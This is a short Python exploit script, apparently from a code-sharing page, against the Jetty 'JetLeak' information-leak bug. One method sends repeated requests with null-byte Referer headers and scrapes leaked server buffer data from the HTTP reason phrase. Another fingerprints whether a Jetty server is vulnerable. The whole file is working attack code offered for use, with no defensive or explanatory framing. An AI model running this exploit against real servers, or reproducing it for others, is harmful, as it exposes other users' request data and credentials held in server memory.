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LoidAir
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LoidAir
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Nov 26, 2018
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import requests | ||
from urllib.parse import quote | ||
import re,time | ||
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class Exploit: | ||
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def __init__Attack1(self): | ||
pass | ||
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def exp1(self, url): | ||
data = '' | ||
iter = 1 | ||
step = 16 | ||
data_re = re.compile(r'>>>(.*)\.\.\.') | ||
wait_time = 0 | ||
wait_int = 5 | ||
max_wait = 120 | ||
while (len(data) <= 1000) and (wait_time < max_wait): | ||
headers = {"Referer": chr(0) * iter} | ||
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try: | ||
resp = requests.get(url, headers=headers) | ||
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except Exception as e: | ||
#print('Could not connect to server: {0}.'.format(e)) | ||
wait_time = max_wait + 1 | ||
break | ||
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m = data_re.search(resp.reason) | ||
if m is not None: | ||
# If we have a match replace escaped unprintable characters with the | ||
# appropriate unprintable character. This prevents our byte count from | ||
# getting thrown off by the extra backslash character in the output. | ||
chunk = m.group(1) | ||
chunk = chunk.replace('\\r', '\r') | ||
chunk = chunk.replace('\\n', '\n') | ||
chunk = chunk.replace('\\x00', '\x00') | ||
step = len(chunk) | ||
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# Don't store null bytes in our string. | ||
chunk = chunk.replace('\x00', '') | ||
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# If the line is empty then wait five seconds to allow more data to be | ||
# put in the buffer. | ||
if chunk.strip('\r\n') == '': | ||
wait_time += wait_int | ||
time.sleep(wait_int) | ||
else: | ||
data += chunk | ||
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else: | ||
wait_time = max_wait + 1 | ||
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iter += step | ||
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# Print our final set of leaked data. | ||
if data != '': | ||
return 'The following data was leaked:\n{0}'.format(data) | ||
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def exp2(self, url): | ||
x = "\x00" | ||
headers = {"Referer": x} | ||
r1 = requests.post(url, headers = headers) | ||
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if (r1.status_code == 400 and ("Illegal character 0x0 in state" in r1.content)): | ||
return "\r\nThis version of Jetty is VULNERABLE to JetLeak!" | ||
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def attack(self, url): | ||
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list = [self.exp1(url), self.exp2(url)] | ||
if list[0]: return list[0] | ||
elif list[1]: return list[1] | ||
else: return None |